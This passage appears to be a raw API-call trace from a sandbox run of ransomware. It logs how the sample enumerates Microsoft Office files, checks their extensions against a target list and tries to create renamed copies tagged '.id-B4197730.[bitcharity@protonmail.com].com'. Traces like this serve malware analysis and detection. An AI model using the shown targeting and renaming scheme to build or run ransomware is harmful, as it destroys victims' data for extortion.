returned -1 [0259.043] lstrlenW (lpString=".pdf") returned 4 [0259.043] lstrcmpiW (lpString1=".pdf", lpString2="CCDU") returned -1 [0259.043] lstrlenW (lpString=".xls") returned 4 [0259.043] lstrcmpiW (lpString1=".xls", lpString2="CCDU") returned -1 [0259.043] lstrlenW (lpString=".xlsx") returned 5 [0259.043] lstrcmpiW (lpString1=".xlsx", lpString2="ACCDU") returned -1 [0259.043] lstrlenW (lpString=".ppt") returned 4 [0259.043] lstrcmpiW (lpString1=".ppt", lpString2="CCDU") returned -1 [0259.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZUSR12.ACCDU") returned 70 [0259.043] lstrlenW (lpString=".zip") returned 4 [0259.043] lstrcmpiW (lpString1=".zip", lpString2="CCDU") returned -1 [0259.043] lstrlenW (lpString=".rar") returned 4 [0259.043] lstrcmpiW (lpString1=".rar", lpString2="CCDU") returned -1 [0259.043] lstrlenW (lpString=".bz2") returned 4 [0259.043] lstrcmpiW (lpString1=".bz2", lpString2="CCDU") returned -1 [0259.043] lstrlenW (lpString=".7z") returned 3 [0259.043] lstrcmpiW (lpString1=".7z", lpString2="CDU") returned -1 [0259.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZUSR12.ACCDU") returned 70 [0259.043] lstrlenW (lpString=".dbf") returned 4 [0259.043] lstrcmpiW (lpString1=".dbf", lpString2="CCDU") returned -1 [0259.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZUSR12.ACCDU") returned 70 [0259.043] lstrlenW (lpString=".1cd") returned 4 [0259.044] lstrcmpiW (lpString1=".1cd", lpString2="CCDU") returned -1 [0259.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZUSR12.ACCDU") returned 70 [0259.044] lstrlenW (lpString=".jpg") returned 4 [0259.044] lstrcmpiW (lpString1=".jpg", lpString2="CCDU") returned -1 [0259.044] lstrcmpiW (lpString1=".DLL", lpString2=".com") returned 1 [0259.044] lstrlenW (lpString="ACEDAO.DLL") returned 10 [0259.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACEDAO.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\acedao.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1280 [0259.045] GetFileSizeEx (in: hFile=0x1280, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=596640) returned 1 [0259.045] CloseHandle (hObject=0x1280) returned 1 [0259.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACEDAO.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\acedao.dll")) returned 0x220 [0259.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACEDAO.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\acedao.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0259.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACEDAO.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\acedao.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACEDAO.DLL") returned 58 [0259.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACEDAO.DLL") returned 58 [0259.046] lstrlenW (lpString=".doc") returned 4 [0259.046] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0259.046] lstrlenW (lpString=".docx") returned 5 [0259.046] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0259.046] lstrlenW (lpString=".pdf") returned 4 [0259.046] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0259.047] lstrlenW (lpString=".xls") returned 4 [0259.047] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0259.047] lstrlenW (lpString=".xlsx") returned 5 [0259.047] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0259.047] lstrlenW (lpString=".ppt") returned 4 [0259.047] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0259.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACEDAO.DLL") returned 58 [0259.047] lstrlenW (lpString=".zip") returned 4 [0259.047] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0259.047] lstrlenW (lpString=".rar") returned 4 [0259.047] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0259.047] lstrlenW (lpString=".bz2") returned 4 [0259.047] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0259.047] lstrlenW (lpString=".7z") returned 3 [0259.047] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0259.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACEDAO.DLL") returned 58 [0259.047] lstrlenW (lpString=".dbf") returned 4 [0259.047] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0259.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACEDAO.DLL") returned 58 [0259.047] lstrlenW (lpString=".1cd") returned 4 [0259.047] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0259.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACEDAO.DLL") returned 58 [0259.047] lstrlenW (lpString=".jpg") returned 4 [0259.047] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0259.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACEDAO.DLL") returned 58 [0259.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACEDAO.DLL") returned 58 [0259.048] lstrlenW (lpString=".doc") returned 4 [0259.048] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0259.048] lstrlenW (lpString=".docx") returned 5 [0259.048] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0259.048] lstrlenW (lpString=".pdf") returned 4 [0259.048] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0259.048] lstrlenW (lpString=".xls") returned 4 [0259.048] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0259.048] lstrlenW (lpString=".xlsx") returned 5 [0259.048] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0259.048] lstrlenW (lpString=".ppt") returned 4 [0259.048] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0259.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACEDAO.DLL") returned 58 [0259.048] lstrlenW (lpString=".zip") returned 4 [0259.048] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0259.048] lstrlenW (lpString=".rar") returned 4 [0259.048] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0259.048] lstrlenW (lpString=".bz2") returned 4 [0259.048] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0259.048] lstrlenW (lpString=".7z") returned 3 [0259.048] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0259.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACEDAO.DLL") returned 58 [0259.049] lstrlenW (lpString=".dbf") returned 4 [0259.049] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0259.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACEDAO.DLL") returned 58 [0259.049] lstrlenW (lpString=".1cd") returned 4 [0259.049] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0259.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACEDAO.DLL") returned 58 [0259.049] lstrlenW (lpString=".jpg") returned 4 [0259.049] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0259.049] lstrcmpiW (lpString1=".DLL", lpString2=".com") returned 1 [0259.049] lstrlenW (lpString="ACCOLK.DLL") returned 10 [0259.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ACCOLK.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\accolk.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1288 [0259.054] GetFileSizeEx (in: hFile=0x1288, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=186064) returned 1 [0259.054] CloseHandle (hObject=0x1288) returned 1 [0259.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ACCOLK.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\accolk.dll")) returned 0x220 [0259.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ACCOLK.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\accolk.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0259.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ACCOLK.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\accolk.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ACCOLK.DLL") returned 65 [0259.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ACCOLK.DLL") returned 65 [0259.055] lstrlenW (lpString=".doc") returned 4 [0259.055] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0259.055] lstrlenW (lpString=".docx") returned 5 [0259.055] lstrcmpiW (lpString1=".docx", lpString2="K.DLL") returned -1 [0259.055] lstrlenW (lpString=".pdf") returned 4 [0259.055] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0259.055] lstrlenW (lpString=".xls") returned 4 [0259.055] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0259.055] lstrlenW (lpString=".xlsx") returned 5 [0259.055] lstrcmpiW (lpString1=".xlsx", lpString2="K.DLL") returned -1 [0259.055] lstrlenW (lpString=".ppt") returned 4 [0259.056] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0259.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ACCOLK.DLL") returned 65 [0259.056] lstrlenW (lpString=".zip") returned 4 [0259.056] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0259.056] lstrlenW (lpString=".rar") returned 4 [0259.056] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0259.056] lstrlenW (lpString=".bz2") returned 4 [0259.056] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0259.056] lstrlenW (lpString=".7z") returned 3 [0259.056] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0259.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ACCOLK.DLL") returned 65 [0259.056] lstrlenW (lpString=".dbf") returned 4 [0259.056] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0259.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ACCOLK.DLL") returned 65 [0259.056] lstrlenW (lpString=".1cd") returned 4 [0259.056] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0259.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ACCOLK.DLL") returned 65 [0259.056] lstrlenW (lpString=".jpg") returned 4 [0259.056] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0259.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ACCOLK.DLL") returned 65 [0259.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ACCOLK.DLL") returned 65 [0259.056] lstrlenW (lpString=".doc") returned 4 [0259.056] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0259.056] lstrlenW (lpString=".docx") returned 5 [0259.056] lstrcmpiW (lpString1=".docx", lpString2="K.DLL") returned -1 [0259.057] lstrlenW (lpString=".pdf") returned 4 [0259.057] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0259.057] lstrlenW (lpString=".xls") returned 4 [0259.057] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0259.057] lstrlenW (lpString=".xlsx") returned 5 [0259.057] lstrcmpiW (lpString1=".xlsx", lpString2="K.DLL") returned -1 [0259.057] lstrlenW (lpString=".ppt") returned 4 [0259.057] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0259.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ACCOLK.DLL") returned 65 [0259.057] lstrlenW (lpString=".zip") returned 4 [0259.057] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0259.057] lstrlenW (lpString=".rar") returned 4 [0259.057] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0259.057] lstrlenW (lpString=".bz2") returned 4 [0259.057] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0259.057] lstrlenW (lpString=".7z") returned 3 [0259.057] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0259.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ACCOLK.DLL") returned 65 [0259.057] lstrlenW (lpString=".dbf") returned 4 [0259.057] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0259.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ACCOLK.DLL") returned 65 [0259.057] lstrlenW (lpString=".1cd") returned 4 [0259.057] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0259.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ACCOLK.DLL") returned 65 [0259.058] lstrlenW (lpString=".jpg") returned 4 [0259.058] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0259.058] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0259.058] lstrlenW (lpString="ColleagueImport.dll") returned 19 [0259.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ColleagueImport.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\colleagueimport.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1288 [0259.062] GetFileSizeEx (in: hFile=0x1288, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=144480) returned 1 [0259.062] CloseHandle (hObject=0x1288) returned 1 [0259.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ColleagueImport.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\colleagueimport.dll")) returned 0x220 [0259.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ColleagueImport.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\colleagueimport.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0259.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ColleagueImport.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\colleagueimport.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ColleagueImport.dll") returned 74 [0259.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ColleagueImport.dll") returned 74 [0259.063] lstrlenW (lpString=".doc") returned 4 [0259.063] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0259.063] lstrlenW (lpString=".docx") returned 5 [0259.063] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0259.063] lstrlenW (lpString=".pdf") returned 4 [0259.063] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0259.063] lstrlenW (lpString=".xls") returned 4 [0259.063] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0259.063] lstrlenW (lpString=".xlsx") returned 5 [0259.063] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0259.063] lstrlenW (lpString=".ppt") returned 4 [0259.063] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0259.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ColleagueImport.dll") returned 74 [0259.063] lstrlenW (lpString=".zip") returned 4 [0259.063] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0259.063] lstrlenW (lpString=".rar") returned 4 [0259.063] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0259.063] lstrlenW (lpString=".bz2") returned 4 [0259.063] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0259.063] lstrlenW (lpString=".7z") returned 3 [0259.063] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0259.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ColleagueImport.dll") returned 74 [0259.064] lstrlenW (lpString=".dbf") returned 4 [0259.064] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0259.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ColleagueImport.dll") returned 74 [0259.064] lstrlenW (lpString=".1cd") returned 4 [0259.064] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0259.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ColleagueImport.dll") returned 74 [0259.064] lstrlenW (lpString=".jpg") returned 4 [0259.064] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0259.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ColleagueImport.dll") returned 74 [0259.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ColleagueImport.dll") returned 74 [0259.064] lstrlenW (lpString=".doc") returned 4 [0259.064] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0259.064] lstrlenW (lpString=".docx") returned 5 [0259.064] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0259.064] lstrlenW (lpString=".pdf") returned 4 [0259.064] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0259.064] lstrlenW (lpString=".xls") returned 4 [0259.064] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0259.064] lstrlenW (lpString=".xlsx") returned 5 [0259.064] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0259.064] lstrlenW (lpString=".ppt") returned 4 [0259.064] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0259.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ColleagueImport.dll") returned 74 [0259.064] lstrlenW (lpString=".zip") returned 4 [0259.064] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0259.064] lstrlenW (lpString=".rar") returned 4 [0259.064] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0259.064] lstrlenW (lpString=".bz2") returned 4 [0259.065] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0259.065] lstrlenW (lpString=".7z") returned 3 [0259.065] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0259.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ColleagueImport.dll") returned 74 [0259.065] lstrlenW (lpString=".dbf") returned 4 [0259.065] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0259.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ColleagueImport.dll") returned 74 [0259.065] lstrlenW (lpString=".1cd") returned 4 [0259.065] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0259.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ColleagueImport.dll") returned 74 [0259.065] lstrlenW (lpString=".jpg") returned 4 [0259.065] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0259.065] lstrcmpiW (lpString1=".ECF", lpString2=".com") returned 1 [0259.065] lstrlenW (lpString="FAXEXT.ECF") returned 10 [0259.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\FAXEXT.ECF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\faxext.ecf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1288 [0259.066] GetFileSizeEx (in: hFile=0x1288, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=830) returned 1 [0259.066] CloseHandle (hObject=0x1288) returned 1 [0259.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\FAXEXT.ECF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\faxext.ecf")) returned 0x220 [0259.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\FAXEXT.ECF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\faxext.ecf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0259.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\FAXEXT.ECF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\faxext.ecf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1288 [0259.067] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.067] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\FAXEXT.ECF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\faxext.ecf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.067] CloseHandle (hObject=0x1288) returned 1 [0259.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\FAXEXT.ECF") returned 65 [0259.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\FAXEXT.ECF") returned 65 [0259.068] lstrlenW (lpString=".doc") returned 4 [0259.068] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0259.068] lstrlenW (lpString=".docx") returned 5 [0259.068] lstrcmpiW (lpString1=".docx", lpString2="T.ECF") returned -1 [0259.068] lstrlenW (lpString=".pdf") returned 4 [0259.068] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0259.068] lstrlenW (lpString=".xls") returned 4 [0259.068] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0259.068] lstrlenW (lpString=".xlsx") returned 5 [0259.068] lstrcmpiW (lpString1=".xlsx", lpString2="T.ECF") returned -1 [0259.068] lstrlenW (lpString=".ppt") returned 4 [0259.068] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0259.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\FAXEXT.ECF") returned 65 [0259.068] lstrlenW (lpString=".zip") returned 4 [0259.068] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0259.068] lstrlenW (lpString=".rar") returned 4 [0259.068] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0259.068] lstrlenW (lpString=".bz2") returned 4 [0259.068] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0259.068] lstrlenW (lpString=".7z") returned 3 [0259.068] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0259.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\FAXEXT.ECF") returned 65 [0259.068] lstrlenW (lpString=".dbf") returned 4 [0259.068] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0259.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\FAXEXT.ECF") returned 65 [0259.069] lstrlenW (lpString=".1cd") returned 4 [0259.069] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0259.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\FAXEXT.ECF") returned 65 [0259.069] lstrlenW (lpString=".jpg") returned 4 [0259.069] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0259.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\FAXEXT.ECF") returned 65 [0259.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\FAXEXT.ECF") returned 65 [0259.069] lstrlenW (lpString=".doc") returned 4 [0259.069] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0259.069] lstrlenW (lpString=".docx") returned 5 [0259.069] lstrcmpiW (lpString1=".docx", lpString2="T.ECF") returned -1 [0259.069] lstrlenW (lpString=".pdf") returned 4 [0259.069] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0259.069] lstrlenW (lpString=".xls") returned 4 [0259.069] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0259.069] lstrlenW (lpString=".xlsx") returned 5 [0259.069] lstrcmpiW (lpString1=".xlsx", lpString2="T.ECF") returned -1 [0259.069] lstrlenW (lpString=".ppt") returned 4 [0259.069] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0259.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\FAXEXT.ECF") returned 65 [0259.069] lstrlenW (lpString=".zip") returned 4 [0259.069] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0259.069] lstrlenW (lpString=".rar") returned 4 [0259.069] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0259.069] lstrlenW (lpString=".bz2") returned 4 [0259.069] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0259.069] lstrlenW (lpString=".7z") returned 3 [0259.069] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0259.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\FAXEXT.ECF") returned 65 [0259.070] lstrlenW (lpString=".dbf") returned 4 [0259.070] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0259.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\FAXEXT.ECF") returned 65 [0259.070] lstrlenW (lpString=".1cd") returned 4 [0259.070] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0259.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\FAXEXT.ECF") returned 65 [0259.070] lstrlenW (lpString=".jpg") returned 4 [0259.070] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0259.070] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0259.070] lstrlenW (lpString="Microsoft.Mashup.Client.Excel.resources.dll") returned 43 [0259.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: 